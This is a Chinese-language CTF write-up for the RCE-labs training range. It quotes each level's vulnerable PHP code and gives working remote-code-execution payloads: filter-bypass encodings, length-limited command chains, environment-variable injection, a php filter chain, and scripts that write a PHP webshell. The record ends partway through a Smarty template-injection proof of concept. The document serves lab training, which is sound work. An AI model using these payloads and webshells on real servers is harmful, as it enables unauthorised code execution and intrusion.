靶场地址及官方wp:https://github.com/ProbiusOfficial/RCE-labs?tab=readme-ov-file

本文用的是CTF++平台进行复现的

level2

考察代码执行的常见函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
 <?php 
include ("get_flag.php");
global $flag;

session_start(); // 开启 session

function hello_ctf($function, $content){
global $flag;
$code = $function . "(" . $content . ");";
echo "Your Code: $code <br>";
eval($code);
}

function get_fun(){

$func_list = ['eval','assert','call_user_func','create_function','array_map','call_user_func_array','usort','array_filter','array_reduce','preg_replace'];

if (!isset($_SESSION['random_func'])) {
$_SESSION['random_func'] = $func_list[array_rand($func_list)];
}

$random_func = $_SESSION['random_func'];

$url_fucn = preg_replace('/_/', '-', $_SESSION['random_func']);

echo "获得新的函数: $random_func ,去 https://www.php.net/manual/zh/function.".$url_fucn.".php 查看函数详情。<br>";

return $_SESSION['random_func'];
}

function start($act){

$random_func = get_fun();

if($act == "r"){ /* 通过发送GET ?action=r 的方式可以重置当前选中的函数 —— 或者你可以自己想办法可控它x */
session_unset();
session_destroy();
}

if ($act == "submit"){
$user_content = $_POST['content'];
hello_ctf($random_func, $user_content);
}
}

isset($_GET['action']) ? start($_GET['action']) : '';

highlight_file(__FILE__);

?>

array_reduce

用回调函数将数组化为单一的值,第一个参数为数组元素,第二个为回调函数,第三个为回调函数初始值,payload:

1
array_reduce([1], 'system', 'whoami');

image-20250524210815620

call_user_func

回调函数,第一个参数为函数名,其余参数为函数的参数,payload:

1
content='system','cat /flag'

image-20250524211144899

create_function

通过执行代码字符串创建动态函数,payload:

1
content='',system("cat /flag")

image-20250524211643844

array_map

将回调函数应用到数组每个元素,返回处理后的新数组。payload:

1
content=$_POST[2],$_POST[1]&1[]=cat /flag&2=system

image-20250524212730936

call_user_func_array

与call_user_func一样,payload:

1
content=$_POST[2],$_POST[1]&1[]=cat /flag&2=system

image-20250524212855867

usort

用自定义比较函数对数组排序(依赖用户定义的规则)。

1
usort(array &$array, callable $callback): true

payload:

1
content=print_r($flag)

image-20250524213755390

array_filter

用回调函数过滤数组中的元素:array_filter(数组,函数),payload:

1
content=system('cat /flag'),assert

image-20250524214024969

preg_replace

执行一个正则表达式的搜索和替换,/e 修饰符可执行代码(PHP 7.4 之前)。payload:

1
content='',system('cat /flag')

image-20250524214718162

level3

考查简单的命令执行,payload:

1
a=cat /flag

level4

考察shell运算符,payload:

1
?ip=1;cat /flag

level5

简单的绕过,通配符绕过,payload:

1
?cmd=cat /f*

level6

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php 
function hello_shell($cmd){
if(preg_match("/[b-zA-Z_@#%^&*:{}\-\+<>\"|`;\[\]]/", $cmd)){
die("WAF!");
}
system($cmd);
}

isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;

highlight_file(__FILE__);

?>

?没禁,通配符直接绕,payload:

1
?a? /??a?

可能path有问题,用绝对路径:

1
2
3
4
5
/???/?a? /??a?   
#/bin/cat /flag

/???/?a??64 /??a?
##/bin/base64 /flag

image-20250524220437357

level7

空格绕过

代替:<<>%20(即space)%09(即tab)$IFS$9$IFS${IFS}{,}(例如{cat,/etc/passwd})

1
cat$IFS/f*

level8

注释符绕过,payload:

1
cat /flag;#

或者文件重定向:

1
cat /flag>1.txt;

level9

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 <?php 

function hello_shell($cmd){
if(preg_match("/[A-Za-z\"%*+,-.\/:;=>?@[\]^`|]/", $cmd)){
die("WAF!");
}
system($cmd);
}

isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;

highlight_file(__FILE__);


?>

无字母RCE,$ ' < 0-9都没过滤,采用8进制绕过,payload:

1
2
3
?cmd=$'\143\141\164'<$'\57\146\154\141\147'
?cmd=$'\143\141\164' $'\57\146\154\141\147'
?cmd=$0<<<$'\143\141\164\40\57\146\154\141\147'

注意$''中命令是不能接参数的,因为整个字符串被$''包裹时,它会被当作一个整体字符串来处理,而linux没有ls /的单一命令,所以会报错,或者交给bash解析,linux中$0表示当前脚本名

level10

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 <?php 

function hello_shell($cmd){
if(preg_match("/[A-Za-z2-9\"%*+,-.\/:;=>?@[\]^`|]/", $cmd)){
die("WAF!");
}
system($cmd);
}

isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;

highlight_file(__FILE__);


?>

只能用0 1 $ < () ' \ #,shell脚本变量执行rce,参考:利用shell脚本变量构造无字母数字命令

或者参考我之前的文章:shell变量执行RCE

得url编码,payload:

1
?cmd=%240%3C%3C%3C%240%5C%3C%5C%3C%5C%3C%5C%24%5C'%5C%5C%24((%24((1%3C%3C1))%2310001111))%5C%5C%24((%24((1%3C%3C1))%2310001101))%5C%5C%24((%24((1%3C%3C1))%2310100100))%5C%5C%24((%24((1%3C%3C1))%23101000))%5C%5C%24((%24((1%3C%3C1))%23111001))%5C%5C%24((%24((1%3C%3C1))%2310010010))%5C%5C%24((%24((1%3C%3C1))%2310011010))%5C%5C%24((%24((1%3C%3C1))%2310001101))%5C%5C%24((%24((1%3C%3C1))%2310010011))%5C'

level11

考察无字母命令执行整数1的特殊变量替换:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php 

function hello_shell($cmd){
if(preg_match("/[A-Za-z1-9\"%*+,-.\/:;=>?@[\]^`|]/", $cmd)){
die("WAF!");
}
system($cmd);
}

isset($_POST['cmd']) ? hello_shell($_POST['cmd']) : null;

highlight_file(__FILE__);

?>

这次只能用0了,原理一样shell变量执行RCE,探姬师傅脚本直接梭,这里我们用$构造,把之前1的部分换成$即可:

1
cmd=$0<<<$0\<\<\<\$\'\\$(($((${##}<<${##}))#${##}000${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}0${##}00${##}00))\\$(($((${##}<<${##}))#${##}0${##}000))\\$(($((${##}<<${##}))#${##}${##}${##}00${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}0))\\$(($((${##}<<${##}))#${##}00${##}${##}0${##}0))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}${##}))\'

level12

与level11一样,payload:

1
cmd=$0<<<$0\<\<\<\$\'\\$(($((${##}<<${##}))#${##}000${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}0${##}00${##}00))\\$(($((${##}<<${##}))#${##}0${##}000))\\$(($((${##}<<${##}))#${##}${##}${##}00${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}0))\\$(($((${##}<<${##}))#${##}00${##}${##}0${##}0))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}${##}))\'

level13

根据提示,考察特殊扩展替换任意数字,取反绕过:

1
?cmd=__%3D%24(())%26%26%24%7B!__%7D%3C%3C%3C%24%7B!__%7D%5C%3C%5C%3C%5C%3C%5C%24%5C'%5C%5C%24((~%24((%24((~%24(())))%24((~%24(())))))))%24((~%24((%24((~%24(())))%24((~%24(())))%24((~%24(())))%24((~%24(())))%24((~%24(())))))))%24((~%24((%24((~%24(())))%24((~%24(())))%24((~%24(())))%24((~%24(())))))))%5C%5C%24((~%24((%24((~%24(())))%24((~%24(())))))))%24((~%24((%24((~%24(())))%24((~%24(())))%24((~%24(())))%24((~%24(())))%24((~%24(())))))))%24((~%24((%24((~%24(())))%24((~%24(())))))))%5C%5C%24((~%24((%24((~%24(())))%24((~%24(())))))))%24((~%24((%24((~%24(())))%24((~%24(())))%24((~%24(())))%24((~%24(())))%24((~%24(())))%24((~%24(())))%24((~%24(())))))))%24((~%24((%24((~%24(())))%24((~%24(())))%24((~%24(())))%24((~%24(())))%24((~%24(())))))))%5C%5C%24((~%24((%24((~%24(())))%24((~%24(())))%24((~%24(())))%24((~%24(())))%24((~%24(())))))))%24(())%5C%5C%24((~%24((%24((~%24(())))%24((~%24(())))%24((~%24(())))%24((~%24(())))%24((~%24(())))%24((~%24(())))))))%24((~%24((%24((~%24(())))%24((~%24(())))%24((~%24(())))%24((~%24(())))%24((~%24(())))%24((~%24(())))%24((~%24(())))%24((~%24(())))))))%5C%5C%24((~%24((%24((~%24(())))%24((~%24(())))))))%24((~%24((%24((~%24(())))%24((~%24(())))%24((~%24(())))%24((~%24(())))%24((~%24(())))))))%24((~%24((%24((~%24(())))%24((~%24(())))%24((~%24(())))%24((~%24(())))%24((~%24(())))%24((~%24(())))%24((~%24(())))))))%5C%5C%24((~%24((%24((~%24(())))%24((~%24(())))))))%24((~%24((%24((~%24(())))%24((~%24(())))%24((~%24(())))%24((~%24(())))%24((~%24(())))%24((~%24(())))))))%24((~%24((%24((~%24(())))%24((~%24(())))%24((~%24(())))%24((~%24(())))%24((~%24(())))))))%5C%5C%24((~%24((%24((~%24(())))%24((~%24(())))))))%24((~%24((%24((~%24(())))%24((~%24(())))%24((~%24(())))%24((~%24(())))%24((~%24(())))))))%24((~%24((%24((~%24(())))%24((~%24(())))))))%5C%5C%24((~%24((%24((~%24(())))%24((~%24(())))))))%24((~%24((%24((~%24(())))%24((~%24(())))%24((~%24(())))%24((~%24(())))%24((~%24(())))))))%24((~%24((%24((~%24(())))%24((~%24(())))%24((~%24(())))%24((~%24(())))%24((~%24(())))%24((~%24(())))%24((~%24(())))%24((~%24(())))))))%5C'

level14

考察长度限制RCE,这里是7字符:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

--- HelloCTF - RCE靶场 : 命令执行 - 长度限制_7字符RCE ---


*/

if(isset($_GET[1]) && strlen($_GET[1]) < 8){
echo strlen($_GET[1]);
echo '<hr/>';
echo shell_exec($_GET[1]);
}else{
exit('too long');
}

highlight_file(__FILE__);


?>

linux中没有写完的命令后面加\,可将一条命令多行表示,>可以创建文件,而ls -t命令可将文件名按时间顺序排列出来,通过将ls -t执行的结果写入文件,再通过sh 文件名执行

所以payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
>hp
>1.p\\
>d\>\\
>\ -\\
>e64\\
>bas\\
>7\|\\
>XSk\\
>Fsx\\
>dFV\\
>kX0\\
>bCg\\
>XZh\\
>AgZ\\
>waH\\
>PD9\\
>o\ \\
>ech\\
ls -t>0
sh 0

//echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php

或者直接读flag:

1
?1=nl /f*

level15

5字符RCE,原理是一样的,只是不能直接读了

前置知识:

在linux中,星号*可作为通配符使用,输入*后,linux会将该目录下第一个列出的文件名作为命令,剩下的文件名作为参数

像上面这个例子,执行*就相当于执行ls t,将ls作为命令,t作为参数

有的时候当一个目录下有很多个文件的时候,可以在*后面加上字母作为限制,就可以限定为必须要带有该字母的文件才能被当作命令参数,它依旧是按照字母顺序,第一个为命令,后面的为参数,比如说下面这个例子,虽然说里面有很多文件,但我们用了*s,相当于就是带有s的第一个文件被作为了命令,后面带有s的文件作为了参数,所以说我们执行*s,相当于执行ls s

2541080-20211013171409428-1527586246

rev可将文件里的内容倒置:

当然我们也可以将rev作为文件名,利用*v来执行它,只不过文件名也要为v:

即将rev作为命令,v作为参数执行

dirls基本相同,只不过ls写入文件时,每个文件名都是单独一行,它会自动换行,会影响我们命令执行,dir会全部写入一行中,并且会自动添加空格,所以我们可用dir代替ls

所以payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
>dir
>f\>
>ht-
>sl
*>v //执行dir命令,将 f> ht- sl写入v文件
>rev
*v>a //执行rev v,即将v中的文件进行翻转写入a,此时a中内容为ls -th >f
>hp
>p\\
>1.\\
>\>\\
>-d\\
>\ \\
>64\\
>se\\
>ba\\
>\|\\
>\=\\
>\=\\
>Ow\\
>gp\\
>by\\
>5m\\
>aW\\
>hw\\
>cG\\
>Ag\\
>aH\\
>9w\\
>PD\\
>S}\\
>IF\\
>{\\
>\$\\
>ho\\
>ec\\
sh a //从a文件读取命令并执行,即执行ls -th >f
sh f //从f文件读取命令并执行,即执行echo${IFS}PD9waHAgcGhwaW5mbygpOw==|base64 -d>1.php

level16

4字符RCE,原理一样,每个命令分成4个字符即可

level17

考察命令执行函数

system()/passthru()

两个函数均有回显,只不过system() 函数用于在系统权限允许的情况下执行系统命令(Windows 和 Linux 系统均可执行),passthru() 函数执行系统命令并将执行结果输出到页面中,且支持二进制数据。payload:

1
content='cat /f*'

反引号``

用于执行系统命令,返回一个字符串类型的变量来存储命令的执行结果。无回显,payload:

1
content=echo cat /f*

shell_exec()/exec()

exec() 函数可以执行系统命令,但不会直接输出结果,而是将结果保存到数组中。shell_exec() 函数执行系统命令,但返回一个字符串类型的变量来存储系统命令的执行结果。由于是保存在变量中,所以没输出,可以利用DNS外带或将输出结果写入文件,payload:

1
content='cat /flag>1.php'

popen()

函数执行系统命令,但返回一个资源类型的变量,需要配合 fread() 函数读取结果。\

level18

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
 <?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

--- HelloCTF - RCE靶场 : 命令执行 - 环境变量注入 ---

来源:P牛2022的文章【我是如何利用环境变量注入执行任意命令】https://www.leavesongs.com/PENETRATION/how-I-hack-bash-through-environment-injection.html

*/
foreach($_REQUEST['envs'] as $key => $val) {
putenv("{$key}={$val}");
}

system('echo hello');

highlight_file(__FILE__);

?>

环境变量注入RCE,参考我是如何利用环境变量注入执行任意命令,payload:

1
?envs[BASH_FUNC_echo%%]=() { cat /flag; }

level19

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
 <?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

--- HelloCTF - RCE靶场 : 文件写入导致的RCE ---

https://www.php.net/manual/zh/function.file-put-contents.php

参考可以写入的内容:
<?php @eval($_POST['a']); ?>

*/

function helloctf($code){
$code = "file_put_contents(".$code.");";
eval($code);
}

isset($_GET['c']) ? helloctf($_GET['c']) : '';

highlight_file(__FILE__);

?>

考察文件写入导致的RCE,file_put_contents接受2个参数,第一个是要写入的文件,第二个是写入的内容,直接写🐎即可:

1
?c='1.php','<?php @eval($_POST["a"]);?>'

或者通过闭合直接执行RCE:

1
?c='','');system('cat /flag');//

level20

文件上传导致的RCE,就是一个简单的文件上传,传🐎即可

level21

简单的文件包含,可以直接包含读flag文件,也可以php-filter-chain任意代码执行

直接包含:

1
c='/flag'

php filter chain:

1
<?php eval($_POST['a']);?>
1
c='php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp'&a=system('cat /flag');

level22

php函数动态调用,payload:

1
?a=system&b=cat /flag

level23

无字母数字RCE,自增绕过

知识点:

1
2
3
[].''  //Array
(0/0).'' //NAN
(1/0).'' //INF

NAN表示的是未被定义的值,所以我们这里可以通过a/a这种方式构造,如果字母也被ban,我们也可以借助其他字符,比如_/_,这个时候也可以得到NAN,同理,INF也可以通过1/a的方式获取。

原理:

1
2
3
4
"A"++ ==> "B"
"B"++ ==> "C"
$_++对变量进行了自增操作,由于我们没有定义的值,PHP会给赋一个默认值NULL==0,由此我们可以看出,我们可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字,可利用这得到初始值A,从而通过自增得到任意字符
在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为"Array"。再取这个字符串的第一个字母,就可以获得"A"。而空与$不同就得到0,即A

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
$_=[].'';//Array
$_=$_[''=='$'];//A
$_++;//B
$_++;//C
$_++;//D
$_++;//E
$__=$_;//E
$_++;//F
$_++;//G
$___=$_;//G
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;//T
$_=$___.$__.$_;//GET
//var_dump($_);
$_='_'.$_;//_GET
var_dump($$_[_]($$_[__]));
//$_GET[_]($_GET[__])

url编码:

1
%24_%3D%5B%5D.''%3B%24_%3D%24_%5B''%3D%3D'%24'%5D%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24__%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24___%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24___.%24__.%24_%3B%24_%3D'_'.%24_%3B%24%24_%5B_%5D(%24%24_%5B__%5D)%3B

level24

无参RCE,直接利用chdir()&array_rand()读文件:

  • array_flip()

    array_flip() :交换数组中的键和值,成功时返回交换后的数组

  • array_rand()

    array_rand() :从数组中随机取出一个或多个单元

  • getcwd()

    getcwd():取得当前工作目录的路径

  • scandir()

    scandir():将返回当前目录中的所有文件和目录的列表。返回的结果是一个数组,其中包含当前目录下的所有文件和目录名称

1
?code=show_source(array_rand(array_flip(scandir(getcwd()))));

由于每次返回的文件内容是随机的,所以需要多读几次

level25

无字母数字RCE取反绕过:https://probiusofficial.github.io/PHP-inversion/

原理:对cat flag等命令取反,再取反,仍然得到cat flag,但是可以利用它进行一些对数字字母过滤的绕过

脚本:

1
2
3
4
5
6
7
8
9
def one(s):
return "[~" + "".join(f"%{hex(255 - ord(c))[2:].upper()}" for c in s) + "][!%FF]("

while 1:
a = input("").rstrip(")")
aa = a.split("(")
s = "".join(one(each) for each in aa[:-1])
s += ")" * (len(aa) - 1) + ";"
print(s)

payload:

1
2
?code=[~%8C%86%8C%8B%9A%92][!%FF]([~%9C%9E%8B%DF%D0%99%93%9E%98][!%FF]);
//system('cat /flag')

level26

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

--- HelloCTF - RCE靶场 : PHP 特性 - 无字母数字的代码执行 ---

参考和依据的文章:https://xz.aliyun.com/t/8107

*/

highlight_file(__FILE__);

isset($_POST['code']) ? $code = $_POST['code'] : $code = null;

if(preg_match("/[a-z0-9]/is", $code)){
die("WAF!");
}else{
echo "Your Payload's Length : ".strlen($code)."<br>";
eval($code);
}

?>

无字母数字RCE,自增、取反、异或或者临时文件上传都可以,这里我们用异或

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import re
import requests
import urllib
from sys import *
import os

a = []
ans1 = ""
ans2 = ""
for i in range(0, 256): # 设置i的范围
c = chr(i)
# 将i转换成ascii对应的字符,并赋值给c
tmp = re.match(r'[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-', c, re.I)
# 设置过滤条件,让变量c在其中找对应,并利用修饰符过滤大小写,这样可以得到未被过滤的字符
if (tmp):
continue
# 当执行正确时,那说明这些是被过滤掉的,所以才会被匹配到,此时我们让他继续执行即可
else:
a.append(i)
# 在数组中增加i,这些就是未被系统过滤掉的字符

# eval("echo($c);");
mya = "system" # 函数名 这里修改!
myb = "ls" # 参数


def myfun(k, my): # 自定义函数
global ans1 # 引用全局变量ans1,使得在局部对其进行更改时不会报错
global ans2 # 引用全局变量ans2,使得在局部对其进行更改时不会报错
for i in range(0, len(a)): # 设置循环范围为(0,a)注:a为未被过滤的字符数量
for j in range(i, len(a)): # 在上个循环的条件下设置j的范围
if (a[i] ^ a[j] == ord(my[k])):
ans1 += chr(a[i]) # ans1=ans1+chr(a[i])
ans2 += chr(a[j]) # ans2=ans2+chr(a[j])
return; # 返回循环语句中,重新寻找第二个k,这里的话就是寻找y对应的两个字符


for x in range(0, len(mya)): # 设置k的范围
myfun(x, mya) # 引用自定义的函数
data1 = "('" + urllib.request.quote(ans1) + "'^'" + urllib.request.quote(
ans2) + "')" # data1等于传入的命令,"+ans1+"是固定格式,这样可以得到变量对应的值,再用'包裹,这样是变量的固定格式,另一个也是如此,两个在进行URL编码后进行按位与运算,然后得到对应值
print(data1)
ans1 = "" # 对ans1进行重新赋值
ans2 = "" # 对ans2进行重新赋值
for k in range(0, len(myb)): # 设置k的范围为(0,len(myb))
myfun(k, myb) # 再次引用自定义函数
data2 = "(\"" + urllib.request.quote(ans1) + "\"^\"" + urllib.request.quote(ans2) + "\")"
print(data2)

payload:

1
code=('%0C%05%0C%08%05%0D'^'%7F%7C%7F%7C%60%60')("%03%01%08%00%00%06%0C%01%07"^"%60%60%7C%20/%60%60%60%60");

或者用取反:

1
2
code=[~%8C%86%8C%8B%9A%92][!%FF]([~%9C%9E%8B%DF%D0%99%93%9E%98][!%FF]);
//system('cat /flag')

自增:

1
2
3
4
code=%24_%3D%5B%5D.''%3B%24_%3D%24_%5B''%3D%3D'%24'%5D%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24__%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24___%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24___.%24__.%24_%3B%24_%3D'_'.%24_%3B%24%24_%5B_%5D(%24%24_%5B__%5D)%3B

//$_=[].'';$_=$_[''=='$'];$_++;$_++;$_++;$_++;$__=$_;$_++;$_++;$___=$_;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_=$___.$__.$_;$_='_'.$_;$$_[_]($$_[__]);
//$_GET[_]($_GET[__])

level27

模板注入导致的RCE

1
2
3
4
5
6
7
8
9
10
require 'vendor/autoload.php';
use Smarty\Smarty;
$smarty = new Smarty();

if (isset($_GET['page']) && gettype($_GET['page']) === 'string') {
$file_path = "file://" . getcwd() . "/pages/" . $_GET['page'];
$smarty->display($file_path);
} else {
header('Location: /?page=home');
};

用的是Smarty模板,题目溯源到idekCTF 2024 untitled-smarty-challenge

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import hashlib
import requests
from urllib.parse import quote

URL = ""
cwd = '/app'

target_file = '../{Closure::fromCallable(system)->__invoke("cat /flag-*")}/../../pages/about'
